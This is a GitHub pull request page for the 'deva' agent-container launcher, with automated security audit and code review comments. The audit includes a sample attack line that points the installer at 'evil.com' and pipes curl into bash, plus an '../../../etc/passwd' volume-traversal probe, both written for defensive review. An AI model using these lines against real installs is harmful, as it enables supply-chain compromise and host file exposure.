Skip to content

Improve deva docs, smoke tests, and branding#213

Merged
lroolle merged 1 commit intomainfrom
deva/chore
Mar 12, 2026
Merged

Improve deva docs, smoke tests, and branding#213
lroolle merged 1 commit intomainfrom
deva/chore

Conversation

@lroolle
Copy link
Member

@lroolle lroolle commented Mar 12, 2026

Summary

  • let non-interactive deva launch paths work without forcing a TTY
  • smoke the installer and each agent entrypoint in CI
  • clean public deva branding, add a PR template, and add concrete examples

Verification

  • shellcheck ./deva.sh ./install.sh ./scripts/resolve-tool-versions.sh
  • ./scripts/version-check.sh
  • ./deva.sh claude -Q -- --version
  • ./deva.sh gemini -Q -- --version
  • uvx --with 'mkdocs<2' --with 'mkdocs-material<10' mkdocs build --strict

Notes

  • local Codex smoke still collides with an existing host listener on 127.0.0.1:1455 because another deva Codex container is already bound there

- let non-interactive launch paths run without forcing a TTY
- make the installer testable from a local checkout and smoke it in CI
- add examples, a PR template, and Codex-first deva copy to cut drift
Copilot AI review requested due to automatic review settings March 12, 2026 06:06
@claude-yolo
Copy link
Contributor

claude-yolo bot commented Mar 12, 2026

Claude finished @lroolle's task in 3m 29s —— View job


Security Audit of PR #213

Conducted paranoid security audit focusing on container boundaries, auth flows, shell entrypoints, and privilege escalation vectors.

Todo List

  • Load analysis tools and examine repository structure
  • Audit core security files: deva.sh, install.sh
  • Review CI/CD pipeline changes for supply chain risks
  • Examine authentication and mount handling changes
  • Check for shell injection and path traversal vectors
  • Verify container boundary enforcement
  • Document blocking issues and high-risk findings
  • Provide required tests before merge recommendations

Security Findings

🚨 BLOCKING ISSUE: Installer URL Injection Vector

File: install.sh line 9
Risk: Critical supply chain attack vector

The installer now accepts DEVA_INSTALL_BASE_URL environment variable which can redirect all script downloads to attacker-controlled servers:

export DEVA_INSTALL_BASE_URL="https://evil.com"
curl -fsSL ... | bash  # Downloads malicious deva.sh, agents/*.sh

Impact: Full compromise of installation, persistent backdoor in launchers
Fix Required: Input validation, allowlist trusted domains, or remove the feature

⚠️ HIGH RISK: TTY Handling Race Conditions

File: deva.sh lines 638-642, 2409, 2470
Risk: Container escape via TTY manipulation

New TTY detection logic has potential race conditions:

  • TTY state checked once at script start, used throughout execution
  • DOCKER_TERMINAL_ARGS built early but used in multiple exec contexts
  • Non-atomic TTY state could change between check and use

Impact: Unexpected interactive access in non-interactive contexts

⚠️ HIGH RISK: Volume Path Injection

File: deva.sh lines 1117-1140 (normalize_volume_spec)
Risk: Mount path manipulation

Volume processing uses shell parameter expansion without proper validation:

local src="${spec%%:*}"  # No sanitization of src path

Impact: Could mount unintended host paths, though contained by Docker boundary

Medium Risk Findings

CI Permission Expansion

File: .github/workflows/ci.yml lines 50-52
Risk: Expanded attack surface

New smoke test requires packages: read permission for GHCR access, expanding the CI attack surface.

Docker Socket Still Auto-mounted

File: deva.sh lines 690-691
Risk: Container escape vector

Docker socket is still auto-mounted by default (disabled in CI via DEVA_NO_DOCKER=1):

if [ -z "${DEVA_NO_DOCKER:-}" ] && [ -S /var/run/docker.sock ]; then
    DOCKER_ARGS+=(-v "/var/run/docker.sock:/var/run/docker.sock")

Impact: Full Docker API access = effective root on host

Examples Teach Insecure Patterns

File: examples/basic/.deva
Risk: User education vector

SSH key mounting example could encourage insecure practices:

VOLUME=$HOME/.ssh:/home/deva/.ssh:ro

While read-only is good, mounting SSH keys is inherently risky.

Low Risk Findings

Auth Token Environment Variable Leakage

File: agents/claude.sh lines 80-100
Risk: Process environment exposure

API keys and tokens are passed via Docker -e flags, visible in process lists.

Required Security Tests Before Merge

Blocking Issue Tests

  1. Test installer URL injection:

    export DEVA_INSTALL_BASE_URL="https://httpbin.org/status/404"
    curl -fsSL install.sh | bash  # Should fail gracefully
  2. Verify volume path normalization doesn't allow escapes:

    deva.sh claude -v "../../../etc/passwd:/etc/passwd" --dry-run

Recommended Security Tests

  1. Test TTY handling in edge cases:

    echo "" | deva.sh claude -Q -- --version  # stdin redirect
    deva.sh claude -Q -- --version < /dev/null  # no TTY
  2. Verify Docker socket isn't mounted in CI mode:

    DEVA_NO_DOCKER=1 deva.sh claude --debug --dry-run | grep -v "docker.sock"
  3. Test dangerous directory detection bypass:

    cd / && deva.sh claude --dry-run  # Should warn and require confirmation

Verdict

BLOCK MERGE until installer URL injection is fixed. The TTY and volume path issues are medium-severity but should be addressed before production use.

Copy link

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR updates deva’s installer, CI, and public docs/branding to support non-interactive launch paths (no forced TTY), add smoke coverage in CI, and provide concrete usage examples.

Changes:

  • Make deva.sh Docker terminal flags conditional on TTY presence (supporting non-interactive runs).
  • Add an installer+agent smoke test job to CI, and make install.sh support a configurable download base URL for local/CI testing.
  • Refresh docs/README/AGENTS guidance and add example .deva configs plus a PR template.

Reviewed changes

Copilot reviewed 15 out of 15 changed files in this pull request and generated 2 comments.

Show a summary per file
File Description
install.sh Adds DEVA_INSTALL_BASE_URL override for downloads; updates quick-start output.
deva.sh Introduces DOCKER_TERMINAL_ARGS to avoid -t when no TTY (fix non-interactive exec/run).
.github/workflows/ci.yml Adds “Installer Smoke Test” job that installs via install.sh and runs agents without a TTY.
.github/workflows/claude.yml Updates system prompt/tooling references to “deva” and includes ./deva.sh in allowed tools.
docs/quick-start.md Updates install output list and quick-start commands; adds auth examples ordering.
docs/index.md Updates branding/ordering and examples to lead with deva.sh/Codex.
README.md Aligns public branding and adds link to examples/.
examples/README.md Adds a short overview of the included example .deva configs.
examples/basic/.deva Adds a “basic” per-project config example (mounts + editor env).
examples/rust/.deva Adds a Rust profile + env example.
examples/isolated-auth/.deva Adds an example showing isolation knobs via env.
Makefile Switches release targets to run prompts via ./deva.sh claude -Q.
AGENTS.md Rewrites agent guidance to reflect current deva architecture/workflow and branding.
TODO.md Updates TODO focus away from legacy “Claude YOLO” naming.
.github/pull_request_template.md Adds a PR template emphasizing verification and risk areas.

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

You can also share your feedback on Copilot code review. Take the survey.

Comment on lines +48 to +52
if [ -t 0 ] && [ -t 1 ]; then
DOCKER_TERMINAL_ARGS=(-it)
elif [ ! -t 0 ]; then
DOCKER_TERMINAL_ARGS=(-i)
fi
Copy link

Copilot AI Mar 12, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

DOCKER_TERMINAL_ARGS calculation leaves the array empty when stdin is a TTY but stdout is not (e.g., redirecting output). In that case docker run --rm will close stdin, which can break interactive agents even though a TTY stdin is available. Consider deriving -i and -t independently (at minimum: add -i whenever -t 0 is true, and only add -t when you actually want/allow a TTY).

Suggested change
if [ -t 0 ] && [ -t 1 ]; then
DOCKER_TERMINAL_ARGS=(-it)
elif [ ! -t 0 ]; then
DOCKER_TERMINAL_ARGS=(-i)
fi
if [ -t 0 ]; then
DOCKER_TERMINAL_ARGS+=(-i)
fi
if [ -t 1 ]; then
DOCKER_TERMINAL_ARGS+=(-t)
fi

Copilot uses AI. Check for mistakes.
Comment on lines +1 to +2
VOLUME=$HOME/.ssh:/home/deva/.ssh:ro
VOLUME=$HOME/.config/git:/home/deva/.config/git:ro
Copy link

Copilot AI Mar 12, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

These volume specs use $HOME, but .deva parsing currently only expands ~, ${VAR}-style env expansions, and $PWD/$(pwd) (not plain $HOME). As written, Docker will receive a literal $HOME/... host path and the mounts will fail. Use ~ or ${HOME} in the example so it works with the current config loader.

Suggested change
VOLUME=$HOME/.ssh:/home/deva/.ssh:ro
VOLUME=$HOME/.config/git:/home/deva/.config/git:ro
VOLUME=~/.ssh:/home/deva/.ssh:ro
VOLUME=~/.config/git:/home/deva/.config/git:ro

Copilot uses AI. Check for mistakes.
@lroolle lroolle merged commit 3f81942 into main Mar 12, 2026
8 of 9 checks passed
@lroolle lroolle deleted the deva/chore branch March 12, 2026 06:13
Copy link

@chatgpt-codex-connector chatgpt-codex-connector bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 73c890b684

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment on lines +1 to +2
ENV=DEVA_NO_AUTOLINK=1
ENV=DEVA_NO_DOCKER=1

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Replace ENV isolation flags with wrapper variables

The isolated-auth example sets DEVA_NO_AUTOLINK and DEVA_NO_DOCKER via ENV=..., but ENV= directives are only passed into the container and do not change launcher behavior, so this config does not actually disable autolink or Docker-socket auto-mounting. Users copying this example will still inherit host auth behavior the example is meant to isolate; these should be top-level wrapper variables (for example AUTOLINK=false and DEVA_NO_DOCKER=1).

Useful? React with 👍 / 👎.

.PHONY: release-patch
release-patch:
@./claude-yolo "Execute release workflow from @workflows/RELEASE.md for a **patch** release"
@./deva.sh claude -Q -- -p "Execute release workflow from @workflows/RELEASE.md for a **patch** release"

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Drop quick mode from release Makefile targets

Using -Q in the release targets puts deva in bare mode (deva.sh --help: no host config mounts and no autolink), but the release workflow requires git push --tags (workflows/RELEASE.md step 7). In common setups where git auth comes from mounted host config/SSH credentials, these targets will fail at push time because -Q strips those mounts.

Useful? React with 👍 / 👎.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants